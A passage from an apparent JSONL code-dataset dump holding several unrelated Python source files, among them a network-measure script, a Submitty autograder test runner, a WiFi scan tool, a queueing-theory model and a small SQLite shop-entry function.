pd.read_csv('data/analytics.csv')\ntracks = read_tracks(df, category='A')\n\n#replaced by analytics above\n#df = pd.read_csv('~/Documents/gitlab/snowflake/data/building.csv')\n#tracks.extend(read_tracks(df, category='A', start_row=2))\n\ndf = pd.read_csv('data/executing.csv')\ntracks.extend(read_tracks(df, category='B', start_col=2))\n\ndf = pd.read_csv('data/strengthening.csv')\ntracks.extend(read_tracks(df, category='C', start_col=2))\n\ndf = pd.read_csv('data/supporting.csv')\ntracks.extend(read_tracks(df, category='D', start_col=2))\n\n\n#tracks\ntrackdata = (print_track_ids_json(tracks) + '\\n\\n'\n + print_milestone_names_json(tracks) + '\\n\\n'\n + print_track_names_json(tracks) + '\\n\\n'\n + print_tracks_json(tracks))\n\nwith open('trackdata.js', 'w') as trackout:\n trackout.write(trackdata)\n trackout.close()\n\n\n#snowflakeapp\nsnowflakeapp = (print_empty_states_json(tracks) + '\\n\\n' + print_default_states_json(tracks))\n\nwith open('snowflakedata.js', 'w') as snowout:\n snowout.write(snowflakeapp)\n snowout.close()\n","sub_path":"snowflake-csv-to-js.py","file_name":"snowflake-csv-to-js.py","file_ext":"py","file_size_in_byte":4644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"325205286","text":"import matplotlib.pyplot as plt\r\nimport networkx as nx\r\nimport numpy as np\r\nimport itertools\r\nimport pandas as pd\r\n#%%\r\ndef compute_measures(net):\r\n\r\n output = {}\r\n GCC = max((net.subgraph(c) for c in nx.connected_components(net)), key=len) # Giant component \r\n output['Number of nodes'] = nx.number_of_nodes(net) #Number of nodes\r\n output['Number of edges'] = nx.number_of_edges(net) #Number of edges\r\n output['Network density'] = \"%.2f\"% nx.density(net) #Network density\r\n output['Network diameter'] = nx.diameter(GCC) #Network diameter\r\n output['Average shortest path'] = \"%.2f\"% nx.average_shortest_path_length(GCC) #Average shortest path\r\n output['Average clustering coefficient'] = \"%.2f\"% nx.average_clustering(net, count_zeros=True) #Average clustering coefficient\r\n output['Average degree'] = \"%.2f\"% (2*net.number_of_edges() / float(net.number_of_nodes())) #Average degree\r\n output['Number of components in the network'] = len(list(net.subgraph(c) for c in nx.connected_components(net))) # Number of component in the network\r\n output['Assortativity'] = \"%.2f\"% nx.degree_assortativity_coefficient(net) #Assortativity\r\n output['Degree distribution'] = [net.degree(node) for node in nx.nodes(net)]\r\n output['Clustering coeficient'] = list(nx.clustering(net).values())\r\n \r\n \r\n return output\r\n#%%\r\ndef render_mpl_table(data, col_width=3.0, row_height=0.625, font_size=14,\r\n header_color='#40466e', row_colors=['#f1f1f2', 'w'], edge_color='w',\r\n bbox=[0, 0, 1, 1], header_columns=0,\r\n ax=None, **kwargs):\r\n if ax is None:\r\n size = (np.array(data.shape[::-1]) + np.array([0, 1])) * np.array([col_width, row_height])\r\n fig, ax = plt.subplots(figsize=size)\r\n ax.axis('off')\r\n mpl_table = ax.table(cellText=data.values, bbox=bbox, colLabels=data.columns, **kwargs)\r\n mpl_table.auto_set_font_size(False)\r\n mpl_table.set_fontsize(font_size)\r\n\r\n for k, cell in mpl_table._cells.items():\r\n cell.set_edgecolor(edge_color)\r\n if k[0] == 0 or k[1] < header_columns:\r\n cell.set_text_props(weight='bold', color='w')\r\n cell.set_facecolor(header_color)\r\n else:\r\n cell.set_facecolor(row_colors[k[0]%len(row_colors) ])\r\n return ax.get_figure(), ax\r\n\r\n#%%\r\ndef create_lspace_network(number_of_node):\r\n net = nx.random_tree(number_of_node)\r\n\r\n return net\r\n\r\n\r\n#%%\r\ndef create_pspace_network(number_of_node):\r\n net = nx.complete_graph(number_of_node)\r\n return net\r\n \r\n#%%\r\ndef create_cspace_network(net_l):\r\n edges = []\r\n nodes = list(nx.nodes(net_l))\r\n for node in nodes:\r\n neighbors = []\r\n for neighbor in list(nx.neighbors(net_l,node)): \r\n neighbors.append(neighbor)\r\n if len(neighbors) > 1:\r\n for ktuple in itertools.combinations(neighbors,2):\r\n edges.append(ktuple)\r\n net = nx.Graph()\r\n net.add_edges_from(edges)\r\n return net\r\n\r\n#%% \r\nif __name__ == \"__main__\":\r\n\r\n markers = ['o'\t,'v'\t,'^','<','>'\t,'s'\t,'p'\t,'*'\t\r\n ,'h'\t,'H'\t,'+'\t,'x'\t,'D'\t,'d'\t,'8' , 'P','X',\r\n 'o'\t,'v'\t,'^','<','>'\t,'s'\t,'p'\t,'*'\t,'h'\t,'H']\r\n features = ['nodes','edges','clustering','degree','shortest path','assortativity', 'diameter']\r\n\r\n spaces = ['lspace','pspace','cspace']\r\n \r\n colors = ['Aqua', 'Black', 'Blue','BlueViolet','Brown','Chartreuse',\r\n 'Chocolate','Crimson','DarkCyan','DarkGreen','DarkRed','DeepPink'\r\n ,'DodgerBlue','ForestGreen','Gold','Indigo','Lime','Magenta',\r\n 'Olive', 'OrangeRed','Purple','Red','Salmon', 'SpringGreen',\r\n 'Teal','Tomato','Violet']\r\n \r\n\r\n number_of_nodes = [5,10,20,50,100,200,500,1000]\r\n measures_lspace = []\r\n measures_pspace = []\r\n measures_cspace = []\r\n for number_of_node in number_of_nodes:\r\n net_l = create_lspace_network(number_of_node)\r\n measures_lspace.append(compute_measures(net_l))\r\n \r\n \r\n net_p = create_pspace_network(number_of_node)\r\n measures_pspace.append(compute_measures(net_p))\r\n \r\n net_c = create_cspace_network(net_l)\r\n measures_cspace.append(compute_measures(net_c))\r\n \r\n all_space_ave_clustering = []\r\n all_space_ave_shortest_path = []\r\n all_space_assortativity = []\r\n all_space_ave_degree = []\r\n all_space_number_of_nodes = []\r\n all_space_number_of_edges = [] \r\n all_space_Network_diameter = []\r\n network_measures = [measures_lspace ,measures_pspace,measures_cspace]\r\n for i, space in enumerate(spaces):\r\n number_of_nodes = []\r\n ave_clustering = []\r\n ave_shortest_path = []\r\n degree_dist_cities = []\r\n uniq_degs = []\r\n normalized_deg_dists = []\r\n cities_clustering = []\r\n cities_assortativity = []\r\n ave_degree = []\r\n number_of_edges = []\r\n Network_diameter = []\r\n for j in range(len(network_measures[i])):\r\n number_of_nodes.append(int(network_measures[i][j]['Number of nodes'])) \r\n number_of_edges.append(int(network_measures[i][j]['Number of edges']))\r\n ave_clustering.append(float(network_measures[i][j]['Average clustering coefficient']))\r\n ave_shortest_path.append(float(network_measures[i][j]['Average shortest path']))\r\n ave_degree.append(float(network_measures[i][j]['Average degree']))\r\n cities_assortativity.append(float(network_measures[i][j]['Assortativity']))\r\n Network_diameter.append(network_measures[i][j]['Network diameter'])\r\n\r\n \r\n all_space_ave_clustering.append(ave_clustering )\r\n all_space_ave_shortest_path.append(ave_shortest_path )\r\n all_space_assortativity.append(cities_assortativity )\r\n all_space_ave_degree.append(ave_degree )\r\n all_space_number_of_nodes.append(number_of_nodes)\r\n all_space_number_of_edges.append(number_of_edges)\r\n all_space_Network_diameter.append(Network_diameter)\r\n\r\n lspace_df = pd.DataFrame(list(zip(all_space_number_of_nodes[:][0],\r\n all_space_number_of_edges[:][0],\r\n all_space_ave_clustering[:][0],\r\n all_space_ave_degree[:][0],\r\n all_space_ave_shortest_path[:][0],\r\n all_space_assortativity[:][0],\r\n all_space_Network_diameter[:][0])),\r\n columns=features)\r\n \r\n fig,ax = render_mpl_table(lspace_df, header_columns=0, col_width=2.0)\r\n \r\n \r\n pspace_df = pd.DataFrame(list(zip(all_space_number_of_nodes[:][1],\r\n all_space_number_of_edges[:][1],\r\n all_space_ave_clustering[:][1],\r\n all_space_ave_degree[:][1],\r\n all_space_ave_shortest_path[:][1],\r\n all_space_assortativity[:][1],\r\n all_space_Network_diameter[:][1])),\r\n columns= features)\r\n fig,ax = render_mpl_table(pspace_df, header_columns=0, col_width=2.0)\r\n \r\n cspace_df = pd.DataFrame(list(zip(all_space_number_of_nodes[:][2],\r\n all_space_number_of_edges[:][2],\r\n all_space_ave_clustering[:][2],\r\n all_space_ave_degree[:][2],\r\n all_space_ave_shortest_path[:][2],\r\n all_space_assortativity[:][2],\r\n all_space_Network_diameter[:][2])),\r\n columns= features)\r\n fig,ax = render_mpl_table(cspace_df, header_columns=0, col_width=2.0)\r\n","sub_path":"Code/representation_investigation.py","file_name":"representation_investigation.py","file_ext":"py","file_size_in_byte":7867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"519924207","text":"import configparser\nimport json\nimport os\nimport tempfile\nimport shutil\nimport subprocess\nimport stat\nimport time\nimport dateutil\nimport dateutil.parser\nimport urllib.parse\nimport string\nimport random\nimport socket\nimport zipfile\nimport traceback\n\nfrom submitty_utils import dateutils, glob\nfrom . import grade_items_logging, write_grade_history, CONFIG_PATH\n\nwith open(os.path.join(CONFIG_PATH, 'submitty.json')) as open_file:\n OPEN_JSON = json.load(open_file)\n SUBMITTY_INSTALL_DIR = OPEN_JSON['submitty_install_dir']\n SUBMITTY_DATA_DIR = OPEN_JSON['submitty_data_dir']\n\nwith open(os.path.join(CONFIG_PATH, 'submitty_users.json')) as open_file:\n OPEN_JSON = json.load(open_file)\n DAEMON_UID = OPEN_JSON['daemon_uid']\n\n\ndef executeTestcases(complete_config_obj, tmp_logs, tmp_work, queue_obj, submission_string, item_name, USE_DOCKER, container, which_untrusted):\n queue_time_longstring = queue_obj[\"queue_time\"]\n waittime = queue_obj[\"waittime\"]\n is_batch_job = queue_obj[\"regrade\"]\n job_id = queue_obj[\"job_id\"]\n is_batch_job_string = \"BATCH\" if is_batch_job else \"INTERACTIVE\"\n runner_success = -1\n # run the run.out as the untrusted user\n with open(os.path.join(tmp_logs,\"runner_log.txt\"), 'w') as logfile:\n print (\"LOGGING BEGIN my_runner.out\",file=logfile)\n logfile.flush()\n testcases = complete_config_obj[\"testcases\"]\n for testcase_num in range(len(testcases)):\n try:\n if USE_DOCKER:\n runner_success = subprocess.call(['docker', 'exec', '-w', tmp_work, container,\n os.path.join(tmp_work, 'my_runner.out'), queue_obj['gradeable'],\n queue_obj['who'], str(queue_obj['version']), submission_string, testcase_num], stdout=logfile)\n else:\n runner_success = subprocess.call([os.path.join(SUBMITTY_INSTALL_DIR, \"sbin\", \"untrusted_execute\"),\n which_untrusted,\n os.path.join(tmp_work,\"my_runner.out\"),\n queue_obj[\"gradeable\"],\n queue_obj[\"who\"],\n str(queue_obj[\"version\"]),\n submission_string,\n str(testcase_num)],\n stdout=logfile)\n logfile.flush()\n except Exception as e:\n print (\"ERROR caught runner.out exception={0}\".format(str(e.args[0])).encode(\"utf-8\"),file=logfile)\n logfile.flush()\n\n print (\"LOGGING END my_runner.out\",file=logfile)\n logfile.flush()\n\n killall_success = subprocess.call([os.path.join(SUBMITTY_INSTALL_DIR, \"sbin\", \"untrusted_execute\"),\n which_untrusted,\n os.path.join(SUBMITTY_INSTALL_DIR, \"sbin\", \"killall.py\")],\n stdout=logfile)\n\n print (\"KILLALL COMPLETE my_runner.out\",file=logfile)\n logfile.flush()\n\n if killall_success != 0:\n msg='RUNNER ERROR: had to kill {} process(es)'.format(killall_success)\n print (\"pid\",os.getpid(),msg)\n grade_items_logging.log_message(job_id,is_batch_job,which_untrusted,item_name,\"\",\"\",msg)\n\n print (\"execute test cases finished\",file=logfile)\n logfile.flush()\n\n return runner_success\n","sub_path":"sbin/autograder/grade_item_main_runner.py","file_name":"grade_item_main_runner.py","file_ext":"py","file_size_in_byte":3690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"286850311","text":"from win_wifi import *\nfrom statistics import mean\nimport datetime\n\n\ndef convert_percent_to_db(percent):\n return (percent / 2) - 100\n\n\ndef get_bssid_avg(_scans: dict, _bssid: str):\n bssid_signals: list = []\n bssid_count = 0\n for scan in _scans.values():\n for ssid in scan:\n if _bssid in ssid.bssids:\n bssid_signals.append(ssid.bssids[_bssid])\n bssid_count += 1\n return mean(bssid_signals)\n\n\ndef get_bssid_range(_scans: dict, _bssid: str):\n bssid_signals: list = []\n bssid_count = 0\n for scan in _scans.values():\n for ssid in scan:\n if _bssid in ssid.bssids:\n bssid_signals.append(ssid.bssids[_bssid])\n bssid_count += 1\n return max(bssid_signals) - min(bssid_signals)\n\n\nscans: int = 20\nprint(\"Initializing {} scan(s). Do not move WiFi antenna.\\n\".format(scans))\nscan_timeline: dict = {}\nfor i in range(0, scans):\n scan_timeline[datetime.datetime.now()] = WinWiFi.scan()\n print(\"scan {} of {} complete.\".format(i + 1, scans))\n time.sleep(1)\n\n# range, avg, what else\n\nfor scan in scan_timeline.values():\n for ssid in scan:\n for bssid in ssid.bssids:\n print(\"{:30} - {} - avg {:6.2f} - range {:3}\".format(ssid.ssid, bssid, get_bssid_avg(scan_timeline, bssid), get_bssid_range(scan_timeline, bssid)))\n break\n\n# avg = {}\n# _range = {}\n# ssid_count = 1\n# for i in range(0, scans):\n# for ssid_scan_data in stuff[i]:\n# print(\"{} - {}\".format(ssid_count, ssid_scan_data.ssid))\n# bssid_count = 1\n#\n# for bssid in ssid_scan_data.bssids.keys():\n# print(\" {} - {} - {} - {}\".format(bssid_count, bssid, ssid_scan_data.bssids[bssid],\n# convert_percent_to_db(ssid_scan_data.bssids[bssid])))\n# bssid_count += 1\n# ssid_count += 1\n\n# for item in stuff:\n# print(\"{} - {}\".format(ssid_count, item.ssid))\n# bssid_count = 1\n# for bssid in item.bssids.keys():\n# print(\" {} - {} - {} - {}\".format(bssid_count, bssid, item.bssids[bssid], convert_percent_to_db(item.bssids[bssid])))\n# bssid_count += 1\n# ssid_count += 1\n # print(\"{}: {}\".format(item.ssid, item.strength))\n\n\n","sub_path":"src/WifiLocalization/windows/win_wifi_test.py","file_name":"win_wifi_test.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"395731665","text":"import pyglet\n\n\ndef key_pressed(symbol, modifiers):\n # Number representing key\n print(\"symbol: \" + str(symbol))\n # Number representing holding additional keys\n # such as CTRL, ALT or SHIFT\n print(\"modifiers: \" + str(modifiers))\n\n\nwindow = pyglet.window.Window()\n# When a user presses a key, key_pressed function will be called\nwindow.push_handlers(on_key_press=key_pressed)\npyglet.app.run()\n\n# Documentation of pyglet keyboard handling\n# https://pyglet.readthedocs.io/en/pyglet-1.3-maintenance/programming_guide/keyboard.html\n","sub_path":"zaverecny-projekt/snake/6_snake_keyboard_events.py","file_name":"6_snake_keyboard_events.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"171243928","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 19 17:34:31 2020\n\n@author: ASUS\n\"\"\"\n\nfor snum in range(25, 60):\n def factorials(x):\n if x == 0 or x == 1:\n return 1\n else:\n return x * factorials(x - 1)\n\n\nclass QueuingTheory(object):\n def __init__(self, ar, sr, snum, N):\n # ar:顾客到达率\n # sr:机构服务率\n # snum:充电车位数量\n # N:能容纳的最大车辆数\n self.ar = ar\n self.sr = sr\n self.snum = snum\n self.N = N\n self.ro = self.ar / self.sr\n self.ros = self.ar / (self.sr * self.snum)\n self.p0 = self.p0_Compute() # 系统中所有充电车位空闲的概率\n self.cw = self.CW_Compute() # 系统中车辆排队的概率\n self.lq = self.Lq_Compute() # 系统中排队等待的平均车辆数\n self.ls = self.lq + self.ro # 系统中的平均停留车辆数\n self.rw = self.ro / self.snum # 系统中充电车位的平均利用率\n self.ws = self.ls / self.ar # 系统中车辆的平均等待时间\n self.wq = self.lq / self.ar # 系统中车辆的平均排队时间\n self.pf = self.Pf_Compute()\n\n def p0_Compute(self): # 系统中所有充电桩空闲的概率\n result = 0\n ro, ros = self.ar / self.sr, self.ar / (self.sr * self.snum)\n for k in range(self.snum):\n result += ro ** k / factorials(k)\n result += ro ** self.snum / factorials(self.snum) / (1 - ros)\n return 1 / result if (1 / result) > 0 else 0\n\n def CW_Compute(self): # 订单排队的概率\n ro, ros = self.ar / self.sr, self.ar / (self.sr * self.snum)\n return ro ** self.snum * self.p0 / factorials(self.snum) / (1 - ros)\n\n def Lq_Compute(self): # 排队等待的平均车辆数\n ros = self.ar / (self.sr * self.snum)\n return self.cw * ros / (1 - ros)\n\n def Pf_Compute(self): # 不再接纳顾客的概率\n return (self.ar / self.sr) ** snum / (factorials(self.snum) * self.snum ** (self.N - self.snum)) * self.p0\n\n\ndef main():\n inputresult = input('请输入系统到达率,服务率,充电车位数量,能容纳的最大车位数:\\r\\n')\n ar, sr, snum, N = map(eval, list(inputresult.split(',')))\n myqueuing = QueuingTheory(ar, sr, snum, N)\n\n def Per_Energy(self): # 某一时间段内停车场充电负荷\n Q = [30, 30, 40, 45, 50] * 5 # Q:电动汽车电池容量\n energy = 0.8 * Q # 每一辆车所需充的电量\n number = (1 - self.pf) * len(Q) # number:实际充电的车辆数\n for i in range(1, int(number) + 1):\n energy += energy\n return (energy)\n\n print('系统中订单排队的概率为%6.3f' % myqueuing.cw)\n print('系统中排队等待的平均车辆数为%6.3f' % myqueuing.lq)\n print('系统中车辆的平均排队时间为%6.3f分钟' % (myqueuing.wq * 60))\n print('系统中车辆的平均等待时间为%6.3f分钟' % (myqueuing.ws * 60))\n print('系统总成本为%6.3f元' % (200 * snum + myqueuing.lq * 10))\n # 'QueuingTheory' object has no attribute 'energy'\n # print('系统效益为%6.3f元' % (1.2 * myqueuing.energy - 200 * snum - myqueuing.lq * 10))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"性能指标.py","file_name":"性能指标.py","file_ext":"py","file_size_in_byte":3276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"456990275","text":"from django.test import override_settings\nfrom django.test.client import RequestFactory\n\nfrom lego.apps.health.permissions import HealthPermission\nfrom lego.utils.test_utils import BaseTestCase\n\n\n@override_settings(HEALTH_CHECK_REMOTE_IPS=[\"129.241.\", \"127.0.0.\"])\nclass HealthPermissionTestCase(BaseTestCase):\n def setUp(self):\n self.factory = RequestFactory()\n self.permission_class = HealthPermission()\n\n def test_unknown_ip(self):\n request = self.factory.get(\"/health/\")\n request.META[\"REMOTE_ADDR\"] = \"100.0.1.1\"\n self.assertFalse(self.permission_class.has_permission(request, None))\n\n def test_localhost(self):\n request = self.factory.get(\"/health/\")\n self.assertTrue(self.permission_class.has_permission(request, None))\n\n def test_allowed_ip(self):\n request = self.factory.get(\"/health/\")\n request.META[\"REMOTE_ADDR\"] = \"129.241.208.1\"\n self.assertTrue(self.permission_class.has_permission(request, None))\n","sub_path":"lego/apps/health/tests/test_permissions.py","file_name":"test_permissions.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"289501088","text":"import media\nimport fresh_tomatoes\n\n#creating each instance of the Movie class\nwatchmen = media.Movie(\"Watchmen\",\n \"A group of heroes try to save the world\",\n \"http://www.watchmencomicmovie.com/posters/watchmen-theatrical-poster-big.jpg\",\n \"https://www.youtube.com/watch?v=PVjA0y78_EQ\")\n\nsolaris = media.Movie(\"Solaris\",\n \"A group of scientists try to communicate with a blue sentient planet\",\n \"https://www.cinematerial.com/media/posters/sm/eg/egzj5qa8.jpg?v=1456250428\",\n \"https://www.youtube.com/watch?v=rvm7WMbXfeY\")\n\nthe_matrix = media.Movie(\"The Matrix\",\n \"A man tries to change the depressing fate of humanity after A.I has taken over\",\n \"http://www.impawards.com/1999/posters/matrix_ver1_xlg.jpg\",\n \"https://www.youtube.com/watch?v=m8e-FF8MsqU\")\n\nthe_room = media.Movie(\"The Room\",\n \"Some movies are so good you can't come up with the words for a summary\",\n \"http://www.impawards.com/2003/posters/room.jpg\",\n \"https://www.youtube.com/watch?v=EE6RQ8rC8hc\")\n\nland_before_time = media.Movie(\"The Land Before Time\",\n \"A group of dinosaurs embark on the journey of a liftime\",\n \"http://www.impawards.com/1988/posters/land_before_time_xlg.jpg\",\n \"https://www.youtube.com/watch?v=FBaGXDRNnQI\")\n\nfirst_snow = media.Movie(\"First Snow\",\n \"A man tries to change his fate before the first snow\",\n \"https://upload.wikimedia.org/wikipedia/en/9/94/Firstsnowposter.jpg\",\n \"https://www.youtube.com/watch?v=Tx9Y_CNeYMY\")\n#allocating all instances of the movie class into an array\nmovies = [watchmen, solaris, the_matrix, the_room, land_before_time, first_snow]\n#open_movies_page takes an array and converts it to html and css code\nfresh_tomatoes.open_movies_page(movies)\n","sub_path":"entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"552621331","text":"from typing import Callable, Union, TYPE_CHECKING, Any, List, Dict\nimport time\nfrom copy import deepcopy\nimport kachery as ka\nimport kachery_p2p as kp\nfrom ._enums import JobStatus\nfrom ._execute_job import _execute_job\nfrom ._util import _random_string\nfrom ._util import _serialize_item\nfrom ._util import _flatten_nested_collection, _copy_structure_with_changes\nfrom ._containermanager import ContainerManager\nif TYPE_CHECKING:\n from ._basejobhandler import BaseJobHandler\n from .jobcache import JobCache\n from ._jobmanager import _JobManager\n\nclass Job:\n def __init__(\n self, *,\n job_id: Union[None, str],\n f: Union[None, Callable],\n code_uri: Union[None, str],\n wrapped_function_arguments,\n job_handler: 'BaseJobHandler',\n job_cache: 'JobCache',\n job_manager: '_JobManager',\n container: Union[None, str],\n label: str,\n force_run: bool,\n rerun_failing: bool,\n cache_failing: bool,\n required_files: Union[None, str, List, Dict],\n jhparams: Dict,\n function_name: str,\n function_version: str,\n job_timeout: Union[None, float]\n ):\n if job_id is None:\n job_id = _random_string(15)\n self._job_id = str(job_id)\n self._f = f\n self._code_uri = code_uri\n self._wrapped_function_arguments = wrapped_function_arguments\n self._job_handler = job_handler\n self._job_cache = job_cache\n self._job_manager = job_manager\n self._container = container\n self._label = label\n self._force_run = force_run\n self._rerun_failing = rerun_failing\n self._cache_failing = cache_failing\n self._required_files = required_files\n self._jhparams = jhparams\n self._function_name = function_name\n self._function_version = function_version\n self._job_timeout = job_timeout\n\n self._status: JobStatus = JobStatus.PENDING\n self._result = None\n self._runtime_info = None\n self._exception = Exception()\n\n self._on_status_changed_callbacks = []\n\n def get_job_id(self):\n return self._job_id\n\n def wait(self, timeout: Union[float, None]=None) -> Union[None, Any]:\n timer = time.time()\n while True:\n self._job_manager.iterate()\n if self._status == JobStatus.FINISHED:\n return self._result\n elif self._status == JobStatus.ERROR:\n raise self._exception\n elif self._status == JobStatus.QUEUED:\n pass\n elif self._status == JobStatus.RUNNING:\n pass\n else:\n raise Exception(f'Unexpected job status: {self._status}')\n if timeout == 0:\n return None\n time.sleep(0.02)\n elapsed = time.time() - timer\n # Not the same as the job timeout... this is the wait timeout\n if timeout is not None and elapsed > timeout:\n return None\n \n def get_container(self) -> Union[None, str]:\n return self._container\n \n def get_status(self) -> JobStatus:\n return self._status\n \n def get_label(self) -> str:\n return self._label\n \n def get_function_name(self) -> str:\n return self._function_name\n \n def get_function_version(self) -> str:\n return self._function_version\n \n def get_result(self) -> Any:\n if self._status is JobStatus.ERROR:\n raise self._exception\n if self._status is not JobStatus.FINISHED:\n raise Exception('Cannot get result of job that is not finished.')\n return self._result\n \n def get_exception(self) -> Exception:\n if self._status is not JobStatus.ERROR:\n raise Exception('Cannot get exception of job that does not have error status')\n return self._exception\n \n def get_jhparams(self) -> dict:\n return self._jhparams\n \n def set_label(self, label) -> 'Job':\n self._label = label\n return self\n\n def get_runtime_info(self) -> Union[None, dict]:\n if self._runtime_info is None:\n return None\n return deepcopy(self._runtime_info)\n \n def print_console_out(self) -> None:\n if self._status not in JobStatus.complete_statuses():\n # don't print anything if the job is not complete\n return\n runtime_info = self.get_runtime_info()\n if runtime_info is None:\n return\n if 'console_out' not in runtime_info:\n return\n _print_console_out(runtime_info['console_out'])\n \n def cancel(self):\n assert self._job_handler is not None, 'Cannot cancel a job that does not have a job handler'\n self._job_handler.cancel_job(job_id=self._job_id)\n \n def compute_hash(self):\n return _compute_job_hash(\n function_name=self._function_name,\n function_version=self._function_version,\n serialized_args=_serialize_item(self._wrapped_function_arguments)\n )\n \n def prepare_container_if_needed(self) -> None:\n \"\"\"Calls global container manager to ensure container images are downloaded, if a container is\n required for the Job. On container fetch error, set error status and record the exception in the Job.\n \"\"\"\n # No need to prepare a container if none was specified\n if self._container is None: return\n # If we are attached to a remote job handler, the container is actually needed on the\n # remote resource, not the machine where we're currently executing. Don't prepare anything.\n if self._job_handler is not None and self._job_handler.is_remote: return\n try:\n ContainerManager.prepare_container(self._container)\n except:\n exception = Exception(f\"Unable to prepare container for Job {self._label}: {self._container}\")\n self._set_error_status(exception=exception, runtime_info=dict())\n \n def load_required_files_if_needed(self) -> None:\n if self._required_files is None: return\n if self._job_handler is not None and self._job_handler.is_remote: return\n uri_list: List[str] = _flatten_nested_collection(self._required_files, _type=str)\n for uri in uri_list:\n if uri.startswith('sha1://') or uri.startswith('sha1dir://'):\n try:\n x = kp.load_file(uri)\n except:\n exception = Exception(f\"Unable to load file for Job {self._label}: {uri}\")\n self._set_error_status(exception=exception, runtime_info=dict())\n return\n if x is None:\n exception = Exception(f\"Unable to load file for Job (*) {self._label}: {uri}\")\n self._set_error_status(exception=exception, runtime_info=dict())\n \n def is_ready_to_run(self) -> bool:\n \"\"\"Checks current status and status of Jobs this Job depends on, to determine whether this\n Job can be run. If the job depends on errored jobs, then the status is switched\n to error.\n\n Raises:\n NotImplementedError: For _same_hash_as functionality.\n\n Returns:\n bool -- True if this Job can be run (does not depend on any jobs that are not finished)\n \"\"\"\n if self._status is not JobStatus.QUEUED: return False\n wrapped_jobs: List[Job] = _flatten_nested_collection(self._wrapped_function_arguments, _type=Job)\n # Check if we depend on any Job that's in error status. If we do, we are in error status,\n # since that dependency is now unresolvable\n errored_jobs: List[Job] = [e for e in wrapped_jobs if e._status == JobStatus.ERROR]\n if errored_jobs:\n self._status = JobStatus.ERROR\n first_exception = errored_jobs[0].get_exception()\n self._exception = Exception(f'Error in dependent job: {str(first_exception)}')\n return False\n\n # If any job we depend on is still not finished, we are not ready to run\n nonfinished_jobs: List[Job] = [j for j in wrapped_jobs if j._status is not JobStatus.FINISHED]\n if nonfinished_jobs:\n return False\n\n # in the absence of any Job dependency issues, assume we are ready to run\n return True\n\n def resolve_dependent_job_values(self) -> None:\n self._wrapped_function_arguments = \\\n _copy_structure_with_changes(self._wrapped_function_arguments,\n lambda arg: arg.get_result(), _type = Job, _as_side_effect = False)\n\n def on_status_changed(self, cb): \n self._on_status_changed_callbacks.append(cb)\n \n def _set_finished_status(self, result, runtime_info):\n self._result = result\n self._runtime_info = runtime_info\n self._set_status(JobStatus.FINISHED)\n \n def _set_error_status(self, exception, runtime_info):\n self._exception = exception\n self._runtime_info = runtime_info\n self._set_status(JobStatus.ERROR)\n\n def _set_status(self, status: JobStatus):\n if self._status == status:\n return\n self._status = status\n for cb in self._on_status_changed_callbacks:\n cb()\n \n def _execute(self, cancel_filepath: Union[None, str]=None) -> None:\n return _execute_job(self, cancel_filepath=cancel_filepath)\n\ndef _print_console_out(x):\n for a in x['lines']:\n t = _fmt_time(a['timestamp'])\n txt = a['text']\n print(f'{t}: {txt}')\n\ndef _compute_job_hash(*, function_name, function_version, serialized_args):\n hash_object = {\n 'function_name': function_name,\n 'function_Version': function_version,\n 'args': serialized_args\n }\n return ka.get_object_hash(hash_object)\n\ndef _fmt_time(t):\n import datetime\n return datetime.datetime.fromtimestamp(t).isoformat()","sub_path":"hither/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":9936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"280517925","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 25 20:00:37 2019\n\n@author: 魏\n\"\"\"\n\nfrom nonebot import on_command, CommandSession\nimport urllib\n@on_command('baidu',aliases = ('百度','百度搜索'))\nasync def _(session: CommandSession):\n if session.ctx['user_id'] != 1020883511:\n if session.ctx['message_type'] != 'group':\n return\n keyword = session.current_arg_text.strip()\n content_code = urllib.request.quote(keyword)\n url = 'https://www.baidu.com/s?wd='+ content_code\n await session.send(keyword+'的链接是 '+url+' 嘟嘟嘟')","sub_path":"awesome/plugins/baidu.py","file_name":"baidu.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"237183674","text":"import sqlite3\r\nimport re\r\nimport pandas as pd\r\n\r\ndef add_rec():\r\n\t\tprint(\"======| Please enter the Shop Details |======\")\r\n\t\tshop_name=input(\"Shop Name (only 15 characters) : \")\r\n\t\twhile (len(shop_name)>15) or not re.match(\"^[a-zA-z\\s]*$\",shop_name):\r\n\t\t\tprint(\"Error! Only 15 characters a-z allowed.\")\r\n\t\t\tshop_name = input(\" Shop Name (only 15 characters) : \")\r\n\t\tshop_location=input(\"Shop Location (only 20 characters): \")\r\n\t\tshop_contactno=input(\"Contact Number is(only 10 characters) : \")\r\n\t\twhile (len(shop_contactno)!=10) or not re.match(\"^[0-9]*$\",shop_contactno):\r\n\t\t\tprint(\"Error! Only 10 digits allowed.\")\r\n\t\t\tshop_contactno=input(\"Contact Number is(only 10 characters) : \")\r\n\t\tshop_cuisinetype=input(\"Cuisine Type (only 15 characters) : \")\r\n\r\n\t\tcurs = conn.cursor()\r\n\t\tcurs.execute(\"INSERT INTO shop_master (shop_name,shop_location,shop_contactno,shop_cuisinetype) values (?,?,?,?)\",(shop_name, shop_location, shop_contactno, shop_cuisinetype))\r\n\t\tprint(\"\\n======| NEW SHOP ADDED SUCCESSFULLY |======\\n\")\r\n\t\tconn.commit()\r\n 